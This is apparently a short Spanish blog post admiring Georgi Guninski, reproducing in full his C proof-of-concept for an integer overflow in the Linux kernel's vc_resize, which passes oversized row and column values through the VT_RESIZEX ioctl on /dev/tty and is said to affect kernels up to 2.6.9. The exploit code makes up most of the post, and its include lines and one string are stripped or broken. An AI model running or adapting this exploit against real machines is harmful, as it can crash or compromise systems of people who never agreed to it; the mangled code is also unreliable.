Guniiinnnsskiiii!!!!

Que bonitas lineas…. y que bonita castaña se pega el linux.

Impresionante Guninski, como siempre…


* vc_resize int overflow
 * Copyright Georgi Guninski
 * Cannot be used in vulnerability databases
 * */
#include 
#include 
#include 
#include 
#include 
#include

#include 
#include 
#include 
#include 

int main(int ac, char **av)
{
int fd;
struct vt_consize vv;
int cou=4242;

fd=open("/dev/tty",O_RDWR);
if (fd<0) {perror("open");return -42;}
memset(&vv,0,sizeof(vv));
vv.v_clin=0;
vv.v_vcol=0;
vv.v_ccol=0;

/* magic values, overflow on i386*/
vv.v_rows=65535;
vv.v_cols=32769;

system("sync");
if (ioctl(fd,VT_RESIZEX,&vv) < 0) {perror("ioctl");return -4242;}
while(cou--) printf(";)
");
close(fd);
return 42;
}

NOTA: hasta 2.6.9 flipaos!


No hay comentarios en “Guniiinnnsskiiii!!!!”  

  1. No hay comentarios

Responder